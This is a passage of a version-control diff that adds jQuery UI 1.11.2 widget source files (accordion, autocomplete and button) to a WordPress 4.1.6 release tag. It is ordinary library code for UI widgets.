+					maxHeight = Math.max( maxHeight, $( this ).css( "height", "" ).height() );
+				})
+				.height( maxHeight );
+		}
+	},
+
+	_activate: function( index ) {
+		var active = this._findActive( index )[ 0 ];
+
+		// trying to activate the already active panel
+		if ( active === this.active[ 0 ] ) {
+			return;
+		}
+
+		// trying to collapse, simulate a click on the currently active header
+		active = active || this.active[ 0 ];
+
+		this._eventHandler({
+			target: active,
+			currentTarget: active,
+			preventDefault: $.noop
+		});
+	},
+
+	_findActive: function( selector ) {
+		return typeof selector === "number" ? this.headers.eq( selector ) : $();
+	},
+
+	_setupEvents: function( event ) {
+		var events = {
+			keydown: "_keydown"
+		};
+		if ( event ) {
+			$.each( event.split( " " ), function( index, eventName ) {
+				events[ eventName ] = "_eventHandler";
+			});
+		}
+
+		this._off( this.headers.add( this.headers.next() ) );
+		this._on( this.headers, events );
+		this._on( this.headers.next(), { keydown: "_panelKeyDown" });
+		this._hoverable( this.headers );
+		this._focusable( this.headers );
+	},
+
+	_eventHandler: function( event ) {
+		var options = this.options,
+			active = this.active,
+			clicked = $( event.currentTarget ),
+			clickedIsActive = clicked[ 0 ] === active[ 0 ],
+			collapsing = clickedIsActive && options.collapsible,
+			toShow = collapsing ? $() : clicked.next(),
+			toHide = active.next(),
+			eventData = {
+				oldHeader: active,
+				oldPanel: toHide,
+				newHeader: collapsing ? $() : clicked,
+				newPanel: toShow
+			};
+
+		event.preventDefault();
+
+		if (
+				// click on active header, but not collapsible
+				( clickedIsActive && !options.collapsible ) ||
+				// allow canceling activation
+				( this._trigger( "beforeActivate", event, eventData ) === false ) ) {
+			return;
+		}
+
+		options.active = collapsing ? false : this.headers.index( clicked );
+
+		// when the call to ._toggle() comes after the class changes
+		// it causes a very odd bug in IE 8 (see #6720)
+		this.active = clickedIsActive ? $() : clicked;
+		this._toggle( eventData );
+
+		// switch classes
+		// corner classes on the previously active header stay after the animation
+		active.removeClass( "ui-accordion-header-active ui-state-active" );
+		if ( options.icons ) {
+			active.children( ".ui-accordion-header-icon" )
+				.removeClass( options.icons.activeHeader )
+				.addClass( options.icons.header );
+		}
+
+		if ( !clickedIsActive ) {
+			clicked
+				.removeClass( "ui-corner-all" )
+				.addClass( "ui-accordion-header-active ui-state-active ui-corner-top" );
+			if ( options.icons ) {
+				clicked.children( ".ui-accordion-header-icon" )
+					.removeClass( options.icons.header )
+					.addClass( options.icons.activeHeader );
+			}
+
+			clicked
+				.next()
+				.addClass( "ui-accordion-content-active" );
+		}
+	},
+
+	_toggle: function( data ) {
+		var toShow = data.newPanel,
+			toHide = this.prevShow.length ? this.prevShow : data.oldPanel;
+
+		// handle activating a panel during the animation for another activation
+		this.prevShow.add( this.prevHide ).stop( true, true );
+		this.prevShow = toShow;
+		this.prevHide = toHide;
+
+		if ( this.options.animate ) {
+			this._animate( toShow, toHide, data );
+		} else {
+			toHide.hide();
+			toShow.show();
+			this._toggleComplete( data );
+		}
+
+		toHide.attr({
+			"aria-hidden": "true"
+		});
+		toHide.prev().attr( "aria-selected", "false" );
+		// if we're switching panels, remove the old header from the tab order
+		// if we're opening from collapsed state, remove the previous header from the tab order
+		// if we're collapsing, then keep the collapsing header in the tab order
+		if ( toShow.length && toHide.length ) {
+			toHide.prev().attr({
+				"tabIndex": -1,
+				"aria-expanded": "false"
+			});
+		} else if ( toShow.length ) {
+			this.headers.filter(function() {
+				return $( this ).attr( "tabIndex" ) === 0;
+			})
+			.attr( "tabIndex", -1 );
+		}
+
+		toShow
+			.attr( "aria-hidden", "false" )
+			.prev()
+				.attr({
+					"aria-selected": "true",
+					tabIndex: 0,
+					"aria-expanded": "true"
+				});
+	},
+
+	_animate: function( toShow, toHide, data ) {
+		var total, easing, duration,
+			that = this,
+			adjust = 0,
+			down = toShow.length &&
+				( !toHide.length || ( toShow.index() < toHide.index() ) ),
+			animate = this.options.animate || {},
+			options = down && animate.down || animate,
+			complete = function() {
+				that._toggleComplete( data );
+			};
+
+		if ( typeof options === "number" ) {
+			duration = options;
+		}
+		if ( typeof options === "string" ) {
+			easing = options;
+		}
+		// fall back from options to animation in case of partial down settings
+		easing = easing || options.easing || animate.easing;
+		duration = duration || options.duration || animate.duration;
+
+		if ( !toHide.length ) {
+			return toShow.animate( this.showProps, duration, easing, complete );
+		}
+		if ( !toShow.length ) {
+			return toHide.animate( this.hideProps, duration, easing, complete );
+		}
+
+		total = toShow.show().outerHeight();
+		toHide.animate( this.hideProps, {
+			duration: duration,
+			easing: easing,
+			step: function( now, fx ) {
+				fx.now = Math.round( now );
+			}
+		});
+		toShow
+			.hide()
+			.animate( this.showProps, {
+				duration: duration,
+				easing: easing,
+				complete: complete,
+				step: function( now, fx ) {
+					fx.now = Math.round( now );
+					if ( fx.prop !== "height" ) {
+						adjust += fx.now;
+					} else if ( that.options.heightStyle !== "content" ) {
+						fx.now = Math.round( total - toHide.outerHeight() - adjust );
+						adjust = 0;
+					}
+				}
+			});
+	},
+
+	_toggleComplete: function( data ) {
+		var toHide = data.oldPanel;
+
+		toHide
+			.removeClass( "ui-accordion-content-active" )
+			.prev()
+				.removeClass( "ui-corner-top" )
+				.addClass( "ui-corner-all" );
+
+		// Work around for rendering bug in IE (#5421)
+		if ( toHide.length ) {
+			toHide.parent()[ 0 ].className = toHide.parent()[ 0 ].className;
+		}
+		this._trigger( "activate", null, data );
+	}
+});
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/autocomplete.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/autocomplete.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/autocomplete.js	(revision 33402)
@@ -0,0 +1,628 @@
+/*!
+ * jQuery UI Autocomplete 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/autocomplete/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget",
+			"./position",
+			"./menu"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+$.widget( "ui.autocomplete", {
+	version: "1.11.2",
+	defaultElement: "<input>",
+	options: {
+		appendTo: null,
+		autoFocus: false,
+		delay: 300,
+		minLength: 1,
+		position: {
+			my: "left top",
+			at: "left bottom",
+			collision: "none"
+		},
+		source: null,
+
+		// callbacks
+		change: null,
+		close: null,
+		focus: null,
+		open: null,
+		response: null,
+		search: null,
+		select: null
+	},
+
+	requestIndex: 0,
+	pending: 0,
+
+	_create: function() {
+		// Some browsers only repeat keydown events, not keypress events,
+		// so we use the suppressKeyPress flag to determine if we've already
+		// handled the keydown event. #7269
+		// Unfortunately the code for & in keypress is the same as the up arrow,
+		// so we use the suppressKeyPressRepeat flag to avoid handling keypress
+		// events when we know the keydown event was used to modify the
+		// search term. #7799
+		var suppressKeyPress, suppressKeyPressRepeat, suppressInput,
+			nodeName = this.element[ 0 ].nodeName.toLowerCase(),
+			isTextarea = nodeName === "textarea",
+			isInput = nodeName === "input";
+
+		this.isMultiLine =
+			// Textareas are always multi-line
+			isTextarea ? true :
+			// Inputs are always single-line, even if inside a contentEditable element
+			// IE also treats inputs as contentEditable
+			isInput ? false :
+			// All other element types are determined by whether or not they're contentEditable
+			this.element.prop( "isContentEditable" );
+
+		this.valueMethod = this.element[ isTextarea || isInput ? "val" : "text" ];
+		this.isNewMenu = true;
+
+		this.element
+			.addClass( "ui-autocomplete-input" )
+			.attr( "autocomplete", "off" );
+
+		this._on( this.element, {
+			keydown: function( event ) {
+				if ( this.element.prop( "readOnly" ) ) {
+					suppressKeyPress = true;
+					suppressInput = true;
+					suppressKeyPressRepeat = true;
+					return;
+				}
+
+				suppressKeyPress = false;
+				suppressInput = false;
+				suppressKeyPressRepeat = false;
+				var keyCode = $.ui.keyCode;
+				switch ( event.keyCode ) {
+				case keyCode.PAGE_UP:
+					suppressKeyPress = true;
+					this._move( "previousPage", event );
+					break;
+				case keyCode.PAGE_DOWN:
+					suppressKeyPress = true;
+					this._move( "nextPage", event );
+					break;
+				case keyCode.UP:
+					suppressKeyPress = true;
+					this._keyEvent( "previous", event );
+					break;
+				case keyCode.DOWN:
+					suppressKeyPress = true;
+					this._keyEvent( "next", event );
+					break;
+				case keyCode.ENTER:
+					// when menu is open and has focus
+					if ( this.menu.active ) {
+						// #6055 - Opera still allows the keypress to occur
+						// which causes forms to submit
+						suppressKeyPress = true;
+						event.preventDefault();
+						this.menu.select( event );
+					}
+					break;
+				case keyCode.TAB:
+					if ( this.menu.active ) {
+						this.menu.select( event );
+					}
+					break;
+				case keyCode.ESCAPE:
+					if ( this.menu.element.is( ":visible" ) ) {
+						if ( !this.isMultiLine ) {
+							this._value( this.term );
+						}
+						this.close( event );
+						// Different browsers have different default behavior for escape
+						// Single press can mean undo or clear
+						// Double press in IE means clear the whole form
+						event.preventDefault();
+					}
+					break;
+				default:
+					suppressKeyPressRepeat = true;
+					// search timeout should be triggered before the input value is changed
+					this._searchTimeout( event );
+					break;
+				}
+			},
+			keypress: function( event ) {
+				if ( suppressKeyPress ) {
+					suppressKeyPress = false;
+					if ( !this.isMultiLine || this.menu.element.is( ":visible" ) ) {
+						event.preventDefault();
+					}
+					return;
+				}
+				if ( suppressKeyPressRepeat ) {
+					return;
+				}
+
+				// replicate some key handlers to allow them to repeat in Firefox and Opera
+				var keyCode = $.ui.keyCode;
+				switch ( event.keyCode ) {
+				case keyCode.PAGE_UP:
+					this._move( "previousPage", event );
+					break;
+				case keyCode.PAGE_DOWN:
+					this._move( "nextPage", event );
+					break;
+				case keyCode.UP:
+					this._keyEvent( "previous", event );
+					break;
+				case keyCode.DOWN:
+					this._keyEvent( "next", event );
+					break;
+				}
+			},
+			input: function( event ) {
+				if ( suppressInput ) {
+					suppressInput = false;
+					event.preventDefault();
+					return;
+				}
+				this._searchTimeout( event );
+			},
+			focus: function() {
+				this.selectedItem = null;
+				this.previous = this._value();
+			},
+			blur: function( event ) {
+				if ( this.cancelBlur ) {
+					delete this.cancelBlur;
+					return;
+				}
+
+				clearTimeout( this.searching );
+				this.close( event );
+				this._change( event );
+			}
+		});
+
+		this._initSource();
+		this.menu = $( "<ul>" )
+			.addClass( "ui-autocomplete ui-front" )
+			.appendTo( this._appendTo() )
+			.menu({
+				// disable ARIA support, the live region takes care of that
+				role: null
+			})
+			.hide()
+			.menu( "instance" );
+
+		this._on( this.menu.element, {
+			mousedown: function( event ) {
+				// prevent moving focus out of the text field
+				event.preventDefault();
+
+				// IE doesn't prevent moving focus even with event.preventDefault()
+				// so we set a flag to know when we should ignore the blur event
+				this.cancelBlur = true;
+				this._delay(function() {
+					delete this.cancelBlur;
+				});
+
+				// clicking on the scrollbar causes focus to shift to the body
+				// but we can't detect a mouseup or a click immediately afterward
+				// so we have to track the next mousedown and close the menu if
+				// the user clicks somewhere outside of the autocomplete
+				var menuElement = this.menu.element[ 0 ];
+				if ( !$( event.target ).closest( ".ui-menu-item" ).length ) {
+					this._delay(function() {
+						var that = this;
+						this.document.one( "mousedown", function( event ) {
+							if ( event.target !== that.element[ 0 ] &&
+									event.target !== menuElement &&
+									!$.contains( menuElement, event.target ) ) {
+								that.close();
+							}
+						});
+					});
+				}
+			},
+			menufocus: function( event, ui ) {
+				var label, item;
+				// support: Firefox
+				// Prevent accidental activation of menu items in Firefox (#7024 #9118)
+				if ( this.isNewMenu ) {
+					this.isNewMenu = false;
+					if ( event.originalEvent && /^mouse/.test( event.originalEvent.type ) ) {
+						this.menu.blur();
+
+						this.document.one( "mousemove", function() {
+							$( event.target ).trigger( event.originalEvent );
+						});
+
+						return;
+					}
+				}
+
+				item = ui.item.data( "ui-autocomplete-item" );
+				if ( false !== this._trigger( "focus", event, { item: item } ) ) {
+					// use value to match what will end up in the input, if it was a key event
+					if ( event.originalEvent && /^key/.test( event.originalEvent.type ) ) {
+						this._value( item.value );
+					}
+				}
+
+				// Announce the value in the liveRegion
+				label = ui.item.attr( "aria-label" ) || item.value;
+				if ( label && $.trim( label ).length ) {
+					this.liveRegion.children().hide();
+					$( "<div>" ).text( label ).appendTo( this.liveRegion );
+				}
+			},
+			menuselect: function( event, ui ) {
+				var item = ui.item.data( "ui-autocomplete-item" ),
+					previous = this.previous;
+
+				// only trigger when focus was lost (click on menu)
+				if ( this.element[ 0 ] !== this.document[ 0 ].activeElement ) {
+					this.element.focus();
+					this.previous = previous;
+					// #6109 - IE triggers two focus events and the second
+					// is asynchronous, so we need to reset the previous
+					// term synchronously and asynchronously :-(
+					this._delay(function() {
+						this.previous = previous;
+						this.selectedItem = item;
+					});
+				}
+
+				if ( false !== this._trigger( "select", event, { item: item } ) ) {
+					this._value( item.value );
+				}
+				// reset the term after the select event
+				// this allows custom select handling to work properly
+				this.term = this._value();
+
+				this.close( event );
+				this.selectedItem = item;
+			}
+		});
+
+		this.liveRegion = $( "<span>", {
+				role: "status",
+				"aria-live": "assertive",
+				"aria-relevant": "additions"
+			})
+			.addClass( "ui-helper-hidden-accessible" )
+			.appendTo( this.document[ 0 ].body );
+
+		// turning off autocomplete prevents the browser from remembering the
+		// value when navigating through history, so we re-enable autocomplete
+		// if the page is unloaded before the widget is destroyed. #7790
+		this._on( this.window, {
+			beforeunload: function() {
+				this.element.removeAttr( "autocomplete" );
+			}
+		});
+	},
+
+	_destroy: function() {
+		clearTimeout( this.searching );
+		this.element
+			.removeClass( "ui-autocomplete-input" )
+			.removeAttr( "autocomplete" );
+		this.menu.element.remove();
+		this.liveRegion.remove();
+	},
+
+	_setOption: function( key, value ) {
+		this._super( key, value );
+		if ( key === "source" ) {
+			this._initSource();
+		}
+		if ( key === "appendTo" ) {
+			this.menu.element.appendTo( this._appendTo() );
+		}
+		if ( key === "disabled" && value && this.xhr ) {
+			this.xhr.abort();
+		}
+	},
+
+	_appendTo: function() {
+		var element = this.options.appendTo;
+
+		if ( element ) {
+			element = element.jquery || element.nodeType ?
+				$( element ) :
+				this.document.find( element ).eq( 0 );
+		}
+
+		if ( !element || !element[ 0 ] ) {
+			element = this.element.closest( ".ui-front" );
+		}
+
+		if ( !element.length ) {
+			element = this.document[ 0 ].body;
+		}
+
+		return element;
+	},
+
+	_initSource: function() {
+		var array, url,
+			that = this;
+		if ( $.isArray( this.options.source ) ) {
+			array = this.options.source;
+			this.source = function( request, response ) {
+				response( $.ui.autocomplete.filter( array, request.term ) );
+			};
+		} else if ( typeof this.options.source === "string" ) {
+			url = this.options.source;
+			this.source = function( request, response ) {
+				if ( that.xhr ) {
+					that.xhr.abort();
+				}
+				that.xhr = $.ajax({
+					url: url,
+					data: request,
+					dataType: "json",
+					success: function( data ) {
+						response( data );
+					},
+					error: function() {
+						response([]);
+					}
+				});
+			};
+		} else {
+			this.source = this.options.source;
+		}
+	},
+
+	_searchTimeout: function( event ) {
+		clearTimeout( this.searching );
+		this.searching = this._delay(function() {
+
+			// Search if the value has changed, or if the user retypes the same value (see #7434)
+			var equalValues = this.term === this._value(),
+				menuVisible = this.menu.element.is( ":visible" ),
+				modifierKey = event.altKey || event.ctrlKey || event.metaKey || event.shiftKey;
+
+			if ( !equalValues || ( equalValues && !menuVisible && !modifierKey ) ) {
+				this.selectedItem = null;
+				this.search( null, event );
+			}
+		}, this.options.delay );
+	},
+
+	search: function( value, event ) {
+		value = value != null ? value : this._value();
+
+		// always save the actual value, not the one passed as an argument
+		this.term = this._value();
+
+		if ( value.length < this.options.minLength ) {
+			return this.close( event );
+		}
+
+		if ( this._trigger( "search", event ) === false ) {
+			return;
+		}
+
+		return this._search( value );
+	},
+
+	_search: function( value ) {
+		this.pending++;
+		this.element.addClass( "ui-autocomplete-loading" );
+		this.cancelSearch = false;
+
+		this.source( { term: value }, this._response() );
+	},
+
+	_response: function() {
+		var index = ++this.requestIndex;
+
+		return $.proxy(function( content ) {
+			if ( index === this.requestIndex ) {
+				this.__response( content );
+			}
+
+			this.pending--;
+			if ( !this.pending ) {
+				this.element.removeClass( "ui-autocomplete-loading" );
+			}
+		}, this );
+	},
+
+	__response: function( content ) {
+		if ( content ) {
+			content = this._normalize( content );
+		}
+		this._trigger( "response", null, { content: content } );
+		if ( !this.options.disabled && content && content.length && !this.cancelSearch ) {
+			this._suggest( content );
+			this._trigger( "open" );
+		} else {
+			// use ._close() instead of .close() so we don't cancel future searches
+			this._close();
+		}
+	},
+
+	close: function( event ) {
+		this.cancelSearch = true;
+		this._close( event );
+	},
+
+	_close: function( event ) {
+		if ( this.menu.element.is( ":visible" ) ) {
+			this.menu.element.hide();
+			this.menu.blur();
+			this.isNewMenu = true;
+			this._trigger( "close", event );
+		}
+	},
+
+	_change: function( event ) {
+		if ( this.previous !== this._value() ) {
+			this._trigger( "change", event, { item: this.selectedItem } );
+		}
+	},
+
+	_normalize: function( items ) {
+		// assume all items have the right format when the first item is complete
+		if ( items.length && items[ 0 ].label && items[ 0 ].value ) {
+			return items;
+		}
+		return $.map( items, function( item ) {
+			if ( typeof item === "string" ) {
+				return {
+					label: item,
+					value: item
+				};
+			}
+			return $.extend( {}, item, {
+				label: item.label || item.value,
+				value: item.value || item.label
+			});
+		});
+	},
+
+	_suggest: function( items ) {
+		var ul = this.menu.element.empty();
+		this._renderMenu( ul, items );
+		this.isNewMenu = true;
+		this.menu.refresh();
+
+		// size and position menu
+		ul.show();
+		this._resizeMenu();
+		ul.position( $.extend({
+			of: this.element
+		}, this.options.position ) );
+
+		if ( this.options.autoFocus ) {
+			this.menu.next();
+		}
+	},
+
+	_resizeMenu: function() {
+		var ul = this.menu.element;
+		ul.outerWidth( Math.max(
+			// Firefox wraps long text (possibly a rounding bug)
+			// so we add 1px to avoid the wrapping (#7513)
+			ul.width( "" ).outerWidth() + 1,
+			this.element.outerWidth()
+		) );
+	},
+
+	_renderMenu: function( ul, items ) {
+		var that = this;
+		$.each( items, function( index, item ) {
+			that._renderItemData( ul, item );
+		});
+	},
+
+	_renderItemData: function( ul, item ) {
+		return this._renderItem( ul, item ).data( "ui-autocomplete-item", item );
+	},
+
+	_renderItem: function( ul, item ) {
+		return $( "<li>" ).text( item.label ).appendTo( ul );
+	},
+
+	_move: function( direction, event ) {
+		if ( !this.menu.element.is( ":visible" ) ) {
+			this.search( null, event );
+			return;
+		}
+		if ( this.menu.isFirstItem() && /^previous/.test( direction ) ||
+				this.menu.isLastItem() && /^next/.test( direction ) ) {
+
+			if ( !this.isMultiLine ) {
+				this._value( this.term );
+			}
+
+			this.menu.blur();
+			return;
+		}
+		this.menu[ direction ]( event );
+	},
+
+	widget: function() {
+		return this.menu.element;
+	},
+
+	_value: function() {
+		return this.valueMethod.apply( this.element, arguments );
+	},
+
+	_keyEvent: function( keyEvent, event ) {
+		if ( !this.isMultiLine || this.menu.element.is( ":visible" ) ) {
+			this._move( keyEvent, event );
+
+			// prevents moving cursor to beginning/end of the text field in some browsers
+			event.preventDefault();
+		}
+	}
+});
+
+$.extend( $.ui.autocomplete, {
+	escapeRegex: function( value ) {
+		return value.replace( /[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&" );
+	},
+	filter: function( array, term ) {
+		var matcher = new RegExp( $.ui.autocomplete.escapeRegex( term ), "i" );
+		return $.grep( array, function( value ) {
+			return matcher.test( value.label || value.value || value );
+		});
+	}
+});
+
+// live region extension, adding a `messages` option
+// NOTE: This is an experimental API. We are still investigating
+// a full solution for string manipulation and internationalization.
+$.widget( "ui.autocomplete", $.ui.autocomplete, {
+	options: {
+		messages: {
+			noResults: "No search results.",
+			results: function( amount ) {
+				return amount + ( amount > 1 ? " results are" : " result is" ) +
+					" available, use up and down arrow keys to navigate.";
+			}
+		}
+	},
+
+	__response: function( content ) {
+		var message;
+		this._superApply( arguments );
+		if ( this.options.disabled || this.cancelSearch ) {
+			return;
+		}
+		if ( content && content.length ) {
+			message = this.options.messages.results( content.length );
+		} else {
+			message = this.options.messages.noResults;
+		}
+		this.liveRegion.children().hide();
+		$( "<div>" ).text( message ).appendTo( this.liveRegion );
+	}
+});
+
+return $.ui.autocomplete;
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/button.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/button.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/button.js	(revision 33402)
@@ -0,0 +1,411 @@
+/*!
+ * jQuery UI Button 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/button/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+var lastActive,
+	baseClasses = "ui-button ui-widget ui-state-default ui-corner-all",
+	typeClasses = "ui-button-icons-only ui-button-icon-only ui-button-text-icons ui-button-text-icon-primary ui-button-text-icon-secondary ui-button-text-only",
+	formResetHandler = function() {
+		var form = $( this );
+		setTimeout(function() {
+			form.find( ":ui-button" ).button( "refresh" );
+		}, 1 );
+	},
+	radioGroup = function( radio ) {
+		var name = radio.name,
+			form = radio.form,
+			radios = $( [] );
+		if ( name ) {
+			name = name.replace( /'/g, "\\'" );
+			if ( form ) {
+				radios = $( form ).find( "[name='" + name + "'][type=radio]" );
+			} else {
+				radios = $( "[name='" + name + "'][type=radio]", radio.ownerDocument )
+					.filter(function() {
+						return !this.form;
+					});
+			}
+		}
+		return radios;
+	};
+
+$.widget( "ui.button", {
+	version: "1.11.2",
+	defaultElement: "<button>",
+	options: {
+		disabled: null,
+		text: true,
+		label: null,
+		icons: {
+			primary: null,
+			secondary: null
+		}
+	},
+	_create: function() {
+		this.element.closest( "form" )
+			.unbind( "reset" + this.eventNamespace )
+			.bind( "reset" + this.eventNamespace, formResetHandler );
+
+		if ( typeof this.options.disabled !== "boolean" ) {
+			this.options.disabled = !!this.element.prop( "disabled" );
+		} else {
+			this.element.prop( "disabled", this.options.disabled );
+		}
+
+		this._determineButtonType();
+		this.hasTitle = !!this.buttonElement.attr( "title" );
+
+		var that = this,
+			options = this.options,
+			toggleButton = this.type === "checkbox" || this.type === "radio",
+			activeClass = !toggleButton ? "ui-state-active" : "";
+
+		if ( options.label === null ) {
+			options.label = (this.type === "input" ? this.buttonElement.val() : this.buttonElement.html());
+		}
+
+		this._hoverable( this.buttonElement );
+
+		this.buttonElement
+			.addClass( baseClasses )
+			.attr( "role", "button" )
+			.bind( "mouseenter" + this.eventNamespace, function() {
+				if ( options.disabled ) {
+					return;
+				}
+				if ( this === lastActive ) {
+					$( this ).addClass( "ui-state-active" );
+				}
+			})
+			.bind( "mouseleave" + this.eventNamespace, function() {
+				if ( options.disabled ) {
+					return;
+				}
+				$( this ).removeClass( activeClass );
+			})
+			.bind( "click" + this.eventNamespace, function( event ) {
+				if ( options.disabled ) {
+					event.preventDefault();
+					event.stopImmediatePropagation();
+				}
+			});
+
+		// Can't use _focusable() because the element that receives focus
+		// and the element that gets the ui-state-focus class are different
+		this._on({
+			focus: function() {
+				this.buttonElement.addClass( "ui-state-focus" );
+			},
+			blur: function() {
+				this.buttonElement.removeClass( "ui-state-focus" );
+			}
+		});
+
+		if ( toggleButton ) {
+			this.element.bind( "change" + this.eventNamespace, function() {
+				that.refresh();
+			});
+		}
+
+		if ( this.type === "checkbox" ) {
+			this.buttonElement.bind( "click" + this.eventNamespace, function() {
+				if ( options.disabled ) {
+					return false;
+				}
+			});
+		} else if ( this.type === "radio" ) {
+			this.buttonElement.bind( "click" + this.eventNamespace, function() {
+				if ( options.disabled ) {
+					return false;
+				}
+				$( this ).addClass( "ui-state-active" );
+				that.buttonElement.attr( "aria-pressed", "true" );
+
+				var radio = that.element[ 0 ];
+				radioGroup( radio )
+					.not( radio )
+					.map(function() {
+						return $( this ).button( "widget" )[ 0 ];
+					})
+					.removeClass( "ui-state-active" )
+					.attr( "aria-pressed", "false" );
+			});
+		} else {
+			this.buttonElement
+				.bind( "mousedown" + this.eventNamespace, function() {
+					if ( options.disabled ) {
+						return false;
+					}
+					$( this ).addClass( "ui-state-active" );
+					lastActive = this;
+					that.document.one( "mouseup", function() {
+						lastActive = null;
+					});
+				})
+				.bind( "mouseup" + this.eventNamespace, function() {
+					if ( options.disabled ) {
+						return false;
+					}
+					$( this ).removeClass( "ui-state-active" );
+				})
+				.bind( "keydown" + this.eventNamespace, function(event) {
+					if ( options.disabled ) {
+						return false;
+					}
+					if ( event.keyCode === $.ui.keyCode.SPACE || event.keyCode === $.ui.keyCode.ENTER ) {
+						$( this ).addClass( "ui-state-active" );
+					}
+				})
+				// see #8559, we bind to blur here in case the button element loses
+				// focus between keydown and keyup, it would be left in an "active" state
+				.bind( "keyup" + this.eventNamespace + " blur" + this.eventNamespace, function() {
+					$( this ).removeClass( "ui-state-active" );
+				});
+
+			if ( this.buttonElement.is("a") ) {
+				this.buttonElement.keyup(function(event) {
+					if ( event.keyCode === $.ui.keyCode.SPACE ) {
+						// TODO pass through original event correctly (just as 2nd argument doesn't work)
+						$( this ).click();
+					}
+				});
+			}
+		}
+
+		this._setOption( "disabled", options.disabled );
+		this._resetButton();
+	},
+
+	_determineButtonType: function() {
+		var ancestor, labelSelector, checked;
+
+		if ( this.element.is("[type=checkbox]") ) {
+			this.type = "checkbox";
+		} else if ( this.element.is("[type=radio]") ) {
+			this.type = "radio";
+		} else if ( this.element.is("input") ) {
+			this.type = "input";
+		} else {
+			this.type = "button";
+		}
+
+		if ( this.type === "checkbox" || this.type === "radio" ) {
+			// we don't search against the document in case the element
+			// is disconnected from the DOM
+			ancestor = this.element.parents().last();
+			labelSelector = "label[for='" + this.element.attr("id") + "']";
+			this.buttonElement = ancestor.find( labelSelector );
+			if ( !this.buttonElement.length ) {
+				ancestor = ancestor.length ? ancestor.siblings() : this.element.siblings();
+				this.buttonElement = ancestor.filter( labelSelector );
+				if ( !this.buttonElement.length ) {
+					this.buttonElement = ancestor.find( labelSelector );
+				}
+			}
+			this.element.addClass( "ui-helper-hidden-accessible" );
+
+			checked = this.element.is( ":checked" );
+			if ( checked ) {
+				this.buttonElement.addClass( "ui-state-active" );
+			}
+			this.buttonElement.prop( "aria-pressed", checked );
+		} else {
+			this.buttonElement = this.element;
+		}
+	},
+
+	widget: function() {
+		return this.buttonElement;
+	},
+
+	_destroy: function() {
+		this.element
+			.removeClass( "ui-helper-hidden-accessible" );
+		this.buttonElement
+			.removeClass( baseClasses + " ui-state-active " + typeClasses )
+			.removeAttr( "role" )
+			.removeAttr( "aria-pressed" )
+			.html( this.buttonElement.find(".ui-button-text").html() );
+
+		if ( !this.hasTitle ) {
+			this.buttonElement.removeAttr( "title" );
+		}
+	},
+
+	_setOption: function( key, value ) {
+		this._super( key, value );
+		if ( key === "disabled" ) {
+			this.widget().toggleClass( "ui-state-disabled", !!value );
+			this.element.prop( "disabled", !!value );
+			if ( value ) {
+				if ( this.type === "checkbox" || this.type === "radio" ) {
+					this.buttonElement.removeClass( "ui-state-focus" );
+				} else {
+					this.buttonElement.removeClass( "ui-state-focus ui-state-active" );
+				}
+			}
+			return;
+		}
+		this._resetButton();
+	},
+
+	refresh: function() {
+		//See #8237 & #8828
+		var isDisabled = this.element.is( "input, button" ) ? this.element.is( ":disabled" ) : this.element.hasClass( "ui-button-disabled" );
+
+		if ( isDisabled !== this.options.disabled ) {
+			this._setOption( "disabled", isDisabled );
+		}
+		if ( this.type === "radio" ) {
+			radioGroup( this.element[0] ).each(function() {
+				if ( $( this ).is( ":checked" ) ) {
+					$( this ).button( "widget" )
+						.addClass( "ui-state-active" )
+						.attr( "aria-pressed", "true" );
+				} else {
+					$( this ).button( "widget" )
+						.removeClass( "ui-state-active" )
+						.attr( "aria-pressed", "false" );
+				}
+			});
+		} else if ( this.type === "checkbox" ) {
+			if ( this.element.is( ":checked" ) ) {
+				this.buttonElement
+					.addClass( "ui-state-active" )
+					.attr( "aria-pressed", "true" );
+			} else {
+				this.buttonElement
+					.removeClass( "ui-state-active" )
+					.attr( "aria-pressed", "false" );
+			}
+		}
+	},
+
+	_resetButton: function() {
+		if ( this.type === "input" ) {
+			if ( this.options.label ) {
+				this.element.val( this.options.label );
+			}
+			return;
+		}
+		var buttonElement = this.buttonElement.removeClass( typeClasses ),
+			buttonText = $( "<span></span>", this.document[0] )
+				.addClass( "ui-button-text" )
+				.html( this.options.label )
+				.appendTo( buttonElement.empty() )
+				.text(),
+			icons = this.options.icons,
+			multipleIcons = icons.primary && icons.secondary,
+			buttonClasses = [];
+
+		if ( icons.primary || icons.secondary ) {
+			if ( this.options.text ) {
+				buttonClasses.push( "ui-button-text-icon" + ( multipleIcons ? "s" : ( icons.primary ? "-primary" : "-secondary" ) ) );
+			}
+
+			if ( icons.primary ) {
+				buttonElement.prepend( "<span class='ui-button-icon-primary ui-icon " + icons.primary + "'></span>" );
+			}
+
+			if ( icons.secondary ) {
+				buttonElement.append( "<span class='ui-button-icon-secondary ui-icon " + icons.secondary + "'></span>" );
+			}
+
+			if ( !this.options.text ) {
+				buttonClasses.push( multipleIcons ? "ui-button-icons-only" : "ui-button-icon-only" );
+
+				if ( !this.hasTitle ) {
+					buttonElement.attr( "title", $.trim( buttonText ) );
+				}
+			}
+		} else {
+			buttonClasses.push( "ui-button-text-only" );
+		}
+		buttonElement.addClass( buttonClasses.join( " " ) );
+	}
+});
+
+$.widget( "ui.buttonset", {
+	version: "1.11.2",
+	options: {
